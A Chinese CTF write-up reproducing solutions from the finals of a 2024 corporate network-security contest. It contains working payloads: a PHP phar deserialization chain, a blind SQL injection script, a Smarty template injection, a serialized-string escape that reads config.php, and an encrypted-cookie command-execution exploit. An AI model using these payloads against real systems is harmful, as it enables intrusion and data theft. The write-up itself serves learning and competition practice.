2024集团网络安全攻防赛决赛复现

这次整个比赛没拿到奖,自己负主要责任。其实就差一道题了,web方向的sql注入没做出来。可惜的同时也感受到了自己的菜。还是要多练习啊。。。老本吃不了了。

但是比赛就是这样,你觉得自己差一道,可能人家也觉得自己差一道。所以硬实力才是最重要的。

复现一下:

团队赛

共同防御

其实共同防御和CTF差不多,就是多了一个共享解题思路的环节,一血可以去分享解题思路然后拿附加分~~~

ezweb

预期解

刚开始做这个题是带上了很严重的思维定式的。给了源码,源码里面能看到反序列化相关的一些代码,首页又给了文件上传的点,所以很自然的想到了phar反序列化的考点。然而,只是想到了,却忘记怎么利用了。。。最熟悉的陌生人。。后来才发现我的这个思路是预期解。

反序列化存在的点:delete_file.php,因为这个文件是包含了class.php的,我们审计class.php的代码可以找到一个很清晰的链子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
class bc0n{
public $code;
public $name;
public $about = false;


public function __get($a){
if ($this->about){
create_function("",$this->code);
}
}

public function check() {
$s1 = $this->name;
$s1();
}

}


class rn0g{
public $echofi;
public function __toString() {
$this->echofi->come;
}
}

class qw4e{
private $nonono;

public function __construct($cookie){
$this->nonono = $cookie;
}

public function __destruct() {
if (is_object($this->nonono) && method_exists($this->nonono,'check') )
$this->nonono->check();
}

}
class y3ui{
public $ability;
private $display;

public function check(){
if (preg_match("/va|file|pa|sys|exec|cat/i",$this->ability)){
echo "hack!!!";
}
}
public function __call($a,$b){
$this->display->come();
}

}

从类qw4e出发,会调用destruct函数,让 qw4enonono属性的值为y3ui类,就可以让y3ui去调用它的check函数,通过preg_match函数那里,我们将this->ability 赋值为rn0g类,那么就会调用rn0g类_tostring函数,将rn0g类的echofi属性赋值为bc0n类,就会触发__get函数,同时我们让bc0nabout属性值为True,就会调用creat_function函数,我们通过控制code的值来执行恶意语句。写到这里,就非常清晰了,POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class bc0n{
public $code;
public $name;
public $about;
public function __construct(){
$this->about = True;
$this->code="}phpinfo();//";
}
}
class rn0g{
public $echofi;
public function __construct(){
$this->echofi = new bc0n();
}
}

class qw4e{
private $nonono;
public function __construct(){
$this->nonono = new y3ui();
}

}

class y3ui{
public $ability;
private $display;
public function __construct(){
$this->ability = new rn0g();
}

}
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new qw4e());
$phar->addFromString("text.txt","hello,phar!");
$phar->stopBuffering();

1
2
3
4
5
6
7
//生成phar核心部分
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new qw4e());
$phar->addFromString("text.txt","hello,phar!");
$phar->stopBuffering();

生成phar的这部分其实是比较固定的,需要改变的地方是$phar->setMetadata(new qw4e()); ,这里改成我们构造好的序列化链。当然这个题是以qw4e 为始。本地访问这个文件,就可以得到.phar 格式的文件。当然你得把本地的php.iniphar read only 改成 off

其实这里我们相当于把序列化的内容写到了phar文件里面,(通过setMetadata()),接下来其实就是触发这里面的内容完成反序列化的过程,以往我们是通过unseralize() 函数,而今天我们是通过phar://协议。那么怎么去触发这个协议呢,刚好这里有个:

1
2
3
4
5
6
7
8
9
10
11
public function delfile(){
if (file_exists($this->fileName)) {
if (unlink($this->fileName)) {
echo "文件 $this->fileName 已成功删除。";
} else {
echo "无法删除文件 $this->fileName";
}
} else {
echo "文件 $this->fileName 不存在。";
}
}

unlink函数

所以完整利用链就形成了,我们把生成的phar.phar文件改成phar.png文件上传(因为文件上传这里有白名单限制。),然后通过删除功能抓个包,修改下file参数,来触发反序列化漏洞。

集团赛easy web2

集团赛easy web3

反思

这里说几个出错的地方:

1.poc那里的false要改成true。原来的类里面是把值赋上去了,删掉,在构造函数里面重新赋值。

2.注意php的版本,因为有个属性是private,php5和php7对应的版本生成的序列化的格式可能有稍许差别。打的时候多试试。

3.注意文件的路径,这里有个坑就是,你上传成功它给的路径为/var/www/html/xxxxx.png ,但其实真正的路径在/var/www/html/uploads/xxx.png ,所以使用 phar协议的时候,是file=phar:///var/www/html/uploads/xxx.png

非预期

团队的大佬道哥想出来的,因为给了源码,可以看到有个view_file.php文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "class.php";

if (isset($_GET['file'])) {
$fileName = $_GET['file'];
if (preg_match("/flag|\?|\*/",$fileName)) {
exit();
}
$filePath = '../uploads/' . $fileName; // 替换为您的上传目录
$viewF = new file($filePath);
$dataUri = $viewF->viewfile();
} else {
echo "没有指定要查看的文件。";
}
?>

<?php if (!empty($dataUri)): ?>
<img src="<?php echo $dataUri; ?>" alt="Your Image" style="max-width: 100%; height: auto;">
<?php else: ?>
<p>图片不存在</p>
<?php endif; ?>
</body>
</html>

这里对file参数的过滤其实很鸡肋,所以可以直接读文件。 我们再跟进看一下viewfile()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
public function viewfile(){
if (file_exists($this->fileName)) {
$fileContent = file_get_contents($this->fileName);

// 显示文件内容
$base64Image = base64_encode($fileContent);
$imageType = pathinfo($fileContent, PATHINFO_EXTENSION);
$dataUri = 'data:image/' . $imageType . ';base64,' . $base64Image;
return $dataUri;
} else {
echo "文件不存在。";
}
}

可以看到把读到的内容进行了base64加密,所以思路明晰了:直接传http://39.106.48.123:37903/code/view_file.php?file=../ffffllll44ggg.php F12看到base64加密的字符串,解码就是flag:

集团赛easyweb_1.png

login

sql注入类的题目,一开始尝试万能密码发现不行,尝试弱口令爆破,发现也不行。所以考察的点不在这里。

当时做题的时候经过一些测试,发现注释符%23、#、空格、select啥的一些都被过滤了,以为这里很难去正常的爆库、爆表、爆字段名了。因为select没了。其实也是因为忘光了都,这里我们的目的是只要把password的值注出来就行了,不用select也行。

username传值:admin'&&if(ascii(substr(password,1,1))>12,1,0)&&'1 password传值: 123

这里就可以得到两种结果,if语句为0或者1的时候,会得到 Password incorretlogin fail 。所以我们可以利用布尔盲注,去把flag注出来,最终的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import  requests
url="http://101.200.139.65:35004/login.php"
payload="admin'&&if(ascii(substr(password,{},1))>{mid},1,0)&&'1"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f"admin'&&if(ascii(substr(password,{i},1))>{mid},1,0)&&'1"
data={"username":payload,"password":123}
r = requests.post(url=url,data=data)
#print(r.text)
if "Password" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

个人赛

ezsmarty

提示直接把答案给出来了:poc: {block name="poc*/system('whoami');/*"}ABC{/block} , 然后string:base64:poc , poc用base64加密一下:

ezsmarty

Easy_encrypt

这个题目主要考察的是PHP反序列化字符串逃逸,其实当时能看出来考点,很久没做了,不知道咋做了。说一下我当时犯迷糊的地方,我当时认为不需要管它是怎么加密和解密的,到最后都会帮我们还原成初始数据,这样考虑确实没错,但是我们在最后的漏洞利用的时候,我们是得去构造序列化字符串的,然而这个得知道加密函数才能去构造:eeeeeend1ng.php是最后的利用点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__file__);
include_once "algorithm.php";
class admin{
public $admin;
public $root;
public function __destruct()
{
echo $this->root;
system("whoami");
}
}
class Date{
public $cmd;
public function __toString()
{
system($this->cmd);
}
}
unserialize(decryptCookie(base64_decode($_COOKIE['users'])));
?>

可以看到我们传入的数据首先经过base64解密,然后再decryptCookie,所以我们传入的数据是经过加密算法加密然后base64一下的,我们跟进加密算法看一下:

1
2
3
4
5
6
7
8
function encryptCookie($value) {
global $algorithm,$secret_key;
$key = $secret_key;
$cipher = $algorithm;
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length($cipher));
$encryptedValue = openssl_encrypt($value, $cipher, $key, 0, $iv) . '::' . bin2hex($iv);
return $encryptedValue;
}

需要拿到algorithm和secret_key的值:

1
2
3
4
5
6
7
8
9
10
11
class FILE {
public $filename;
function __construct($filename) {
$this->filename = $filename;
}
function __destruct()
{
$file = file_get_contents($this->filename);
echo $file;
}
}

刚好这里有一个file_get_contents函数,所以可以用来读config.php文件。

所以第一步我们得通过反序列化去触发FILE的 __destruct 函数,然后 filename赋值为php://filter/read=convert.base64-encode/resource=config.php 利用伪协议来读。

那么怎么去触发反序列化漏洞呢?

index.php里面有这样一行代码:

setcookie("user", base64_encode(encryptCookie(b(serialize($login)))), time() + 3600, "/", "", false, true);

然后login.php里面有这样一行:

unserialize(a(decryptCookie(base64_decode($_COOKIE['user']))));

我们跟进看一下b函数:

1
2
3
4
5
6
7
8
9
function b($string) {
// 过滤器
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where','extractvalue','updatexml');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

会把上面$safe里的值替换成hacker,,比如原先的where是5个字符,替换成hacker的6个字符。这样就会造成数据结构的改变。

之前大佬说的一句话:凡是数据结构发生改变,都有可能产生安全问题。

我们可以这样来构造:利用字符串增多的特性,来造成逃逸。我们实际发挥作用注入的代码为:

";s:6:"status";O:4:"FILE":1:{s:8:"filename";s:59:"php://filter/read=convert.base64-encode/resource=config.php";}}

一共是113个字符,所以我们得构造113个where,这样被替换成hacker,就会使得我们注入的代码逃逸出来。

用python来写:"where"*113 , 最终我们在登录框的username输入:

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:6:"status";O:4:"FILE":1:{s:8:"filename";s:59:"php://filter/read=convert.base64-encode/resource=config.php";}}

password随意。可以读到config.php的内容。就可以得到secret_key和algorithm的值,接下来就是构造最终的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class admin{
public $admin;
public $root;
}
class Date{
public $cmd;
}
function encryptCookie($value)
{
$key = "Harder_says_nice_to_meet_to";
$cipher ="AES-128-CTR";
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length($cipher));
$encryptedValue = openssl_encrypt($value, $cipher, $key, 0, $iv) . '::' . bin2hex($iv);
return $encryptedValue;
}
$secret_key = "Harder_says_nice_to_meet_to";
$algorithm = "AES-128-CTR";
$a = new admin();
$d = new Date();
$d->cmd = "cat /flag_aa2cac85700004dff696";
$a->root = $d;
$temp = serialize($a);
$temp = encryptCookie($temp);
$temp = base64_encode($temp);
echo $temp;

在eeeeeend1ng.php下利用,抓包该一下cookie里面的users字段,传过去即可。

小结

1.生成的时候注意php版本,用7的话没有报错,用5.45的时候会产生warning,加密算法会有些问题。

2.最后抓包在cookie那里传值的时候注意,因为一开始那个地方给的是user,而我们实际上得传的是users,所以得改一下。

3.字符串逃逸分为两种,一种是利用字符串增多,一种是利用字符串减少。增多的时候,我们可以直接先把想要逃逸的字符串写好,然后看多少字符,前面拼上即可。

比如这里的";s:xxxx,前面的";都是为了闭合上一个属性的值。然后后面就是我们正常构造的序列化字符串格式。